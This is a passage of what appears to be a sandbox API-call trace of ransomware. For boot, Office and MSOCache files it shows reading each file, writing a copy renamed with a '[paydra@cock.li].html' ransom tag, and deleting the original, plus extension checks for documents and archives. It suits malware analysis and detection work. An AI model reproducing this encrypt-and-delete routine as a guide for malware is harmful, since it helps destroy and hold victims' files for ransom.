lpFileSize=0x2d9ff1c*=318368) returned 1 [0062.503] CloseHandle (hObject=0x160) returned 1 [0062.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 0x20 [0062.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0062.503] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.503] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 13 os_tid = 0x9e8 [0032.694] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3860260 [0032.694] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3870268 [0032.695] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500330 [0032.695] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x5030b0 [0032.695] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500348 [0032.695] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3a60020 [0032.695] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500360 [0032.695] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500360, Size=0x20) returned 0x4e5ca0 [0032.695] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500360 [0032.695] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500360, Size=0x20) returned 0x4e5c78 [0032.695] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.695] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.695] Wow64DisableWow64FsRedirection (in: OldValue=0x2edff58 | out: OldValue=0x2edff58*=0x0) returned 1 [0032.695] lstrlenW (lpString="kernel32.dll") returned 12 [0032.695] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5ca0 | out: hHeap=0x4b0000) returned 1 [0032.695] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.695] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5c78 | out: hHeap=0x4b0000) returned 1 [0032.696] Sleep (dwMilliseconds=0x64) [0032.965] Sleep (dwMilliseconds=0x64) [0033.124] lstrcmpiW (lpString1=".DAT", lpString2=".html") returned -1 [0033.124] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0033.124] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0033.639] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=65536) returned 1 [0033.639] CloseHandle (hObject=0x178) returned 1 [0033.640] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0033.640] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0033.640] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0033.640] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0033.640] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0033.640] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0033.640] GetLastError () returned 0x0 [0033.640] ReadFile (in: hFile=0x178, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x10000, lpOverlapped=0x0) returned 1 [0033.658] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x10010, lpOverlapped=0x0) returned 1 [0033.659] ReadFile (in: hFile=0x178, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0033.659] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0033.660] SetEndOfFile (hFile=0x17c) returned 1 [0033.660] CloseHandle (hObject=0x17c) returned 1 [0033.661] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0033.661] SetEndOfFile (hFile=0x178) returned 1 [0033.662] CloseHandle (hObject=0x178) returned 1 [0033.662] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x26) returned 1 [0033.662] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0033.663] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.663] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.663] lstrlenW (lpString=".doc") returned 4 [0033.663] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0033.663] lstrlenW (lpString=".docx") returned 5 [0033.663] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0033.663] lstrlenW (lpString=".pdf") returned 4 [0033.663] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0033.663] lstrlenW (lpString=".xls") returned 4 [0033.663] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0033.663] lstrlenW (lpString=".xlsx") returned 5 [0033.663] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0033.663] lstrlenW (lpString=".ppt") returned 4 [0033.663] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0033.663] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.663] lstrlenW (lpString=".zip") returned 4 [0033.663] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0033.663] lstrlenW (lpString=".rar") returned 4 [0033.663] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0033.663] lstrlenW (lpString=".bz2") returned 4 [0033.663] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0033.663] lstrlenW (lpString=".7z") returned 3 [0033.663] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0033.663] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.663] lstrlenW (lpString=".dbf") returned 4 [0033.663] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0033.663] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.663] lstrlenW (lpString=".1cd") returned 4 [0033.663] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0033.663] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.663] lstrlenW (lpString=".jpg") returned 4 [0033.663] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0033.664] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.664] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.664] lstrlenW (lpString=".doc") returned 4 [0033.664] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0033.664] lstrlenW (lpString=".docx") returned 5 [0033.664] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0033.664] lstrlenW (lpString=".pdf") returned 4 [0033.664] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0033.664] lstrlenW (lpString=".xls") returned 4 [0033.664] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0033.664] lstrlenW (lpString=".xlsx") returned 5 [0033.664] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0033.664] lstrlenW (lpString=".ppt") returned 4 [0033.664] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0033.664] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.664] lstrlenW (lpString=".zip") returned 4 [0033.664] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0033.664] lstrlenW (lpString=".rar") returned 4 [0033.664] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0033.665] lstrlenW (lpString=".bz2") returned 4 [0033.665] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0033.665] lstrlenW (lpString=".7z") returned 3 [0033.665] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0033.665] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.665] lstrlenW (lpString=".dbf") returned 4 [0033.665] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0033.665] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.665] lstrlenW (lpString=".1cd") returned 4 [0033.665] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0033.665] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.665] lstrlenW (lpString=".jpg") returned 4 [0033.665] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0033.665] Sleep (dwMilliseconds=0x64) [0033.968] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0033.968] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0033.968] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0033.968] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1450) returned 1 [0033.968] CloseHandle (hObject=0x190) returned 1 [0033.968] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0033.968] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0033.969] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0033.969] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0033.969] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0033.969] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0033.969] GetLastError () returned 0x0 [0033.969] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x5aa, lpOverlapped=0x0) returned 1 [0033.971] WriteFile (in: hFile=0x194, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0033.971] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0033.971] WriteFile (in: hFile=0x194, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0033.972] SetEndOfFile (hFile=0x194) returned 1 [0033.972] CloseHandle (hObject=0x194) returned 1 [0033.973] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0033.973] SetEndOfFile (hFile=0x190) returned 1 [0033.973] CloseHandle (hObject=0x190) returned 1 [0033.973] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0033.974] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0033.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0033.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0033.974] lstrlenW (lpString=".doc") returned 4 [0033.974] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0033.974] lstrlenW (lpString=".docx") returned 5 [0033.974] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0033.974] lstrlenW (lpString=".pdf") returned 4 [0033.974] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0033.974] lstrlenW (lpString=".xls") returned 4 [0033.974] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0033.974] lstrlenW (lpString=".xlsx") returned 5 [0033.974] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0033.974] lstrlenW (lpString=".ppt") returned 4 [0033.974] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0033.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0033.974] lstrlenW (lpString=".zip") returned 4 [0033.974] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0033.974] lstrlenW (lpString=".rar") returned 4 [0033.974] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0033.974] lstrlenW (lpString=".bz2") returned 4 [0033.974] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0033.974] lstrlenW (lpString=".7z") returned 3 [0033.974] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0033.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0033.975] lstrlenW (lpString=".dbf") returned 4 [0033.975] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0033.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0033.975] lstrlenW (lpString=".1cd") returned 4 [0033.975] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0033.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0033.975] lstrlenW (lpString=".jpg") returned 4 [0033.975] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0033.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0033.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0033.975] lstrlenW (lpString=".doc") returned 4 [0033.975] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0033.975] lstrlenW (lpString=".docx") returned 5 [0033.975] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0033.975] lstrlenW (lpString=".pdf") returned 4 [0033.975] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0033.975] lstrlenW (lpString=".xls") returned 4 [0033.975] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0033.975] lstrlenW (lpString=".xlsx") returned 5 [0033.975] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0033.975] lstrlenW (lpString=".ppt") returned 4 [0033.975] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0033.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0033.975] lstrlenW (lpString=".zip") returned 4 [0033.975] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0033.975] lstrlenW (lpString=".rar") returned 4 [0033.975] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0033.975] lstrlenW (lpString=".bz2") returned 4 [0033.975] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0033.975] lstrlenW (lpString=".7z") returned 3 [0033.975] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0033.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0033.975] lstrlenW (lpString=".dbf") returned 4 [0033.975] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0033.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0033.975] lstrlenW (lpString=".1cd") returned 4 [0033.976] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0033.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0033.976] lstrlenW (lpString=".jpg") returned 4 [0033.976] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0033.976] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0033.976] lstrlenW (lpString="Setup.xml") returned 9 [0033.976] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0033.976] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1886) returned 1 [0033.977] CloseHandle (hObject=0x190) returned 1 [0033.977] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0033.977] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0033.977] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0033.977] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0033.977] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0033.977] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0033.980] GetLastError () returned 0x0 [0033.980] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x75e, lpOverlapped=0x0) returned 1 [0033.981] WriteFile (in: hFile=0x194, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x760, lpOverlapped=0x0) returned 1 [0033.982] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0033.982] WriteFile (in: hFile=0x194, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0033.982] SetEndOfFile (hFile=0x194) returned 1 [0033.982] CloseHandle (hObject=0x194) returned 1 [0033.983] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0033.983] SetEndOfFile (hFile=0x190) returned 1 [0033.984] CloseHandle (hObject=0x190) returned 1 [0033.984] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0033.984] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.211] lstrlenW (lpString=".doc") returned 4 [0034.211] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.211] lstrlenW (lpString=".docx") returned 5 [0034.211] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.211] lstrlenW (lpString=".pdf") returned 4 [0034.211] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.211] lstrlenW (lpString=".xls") returned 4 [0034.211] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.211] lstrlenW (lpString=".xlsx") returned 5 [0034.211] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.211] lstrlenW (lpString=".ppt") returned 4 [0034.211] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.211] lstrlenW (lpString=".zip") returned 4 [0034.211] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.211] lstrlenW (lpString=".rar") returned 4 [0034.211] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.211] lstrlenW (lpString=".bz2") returned 4 [0034.211] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.211] lstrlenW (lpString=".7z") returned 3 [0034.211] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.211] lstrlenW (lpString=".dbf") returned 4 [0034.211] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.211] lstrlenW (lpString=".1cd") returned 4 [0034.211] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.211] lstrlenW (lpString=".jpg") returned 4 [0034.211] lstrcmpiW (lpString1=".jpg", 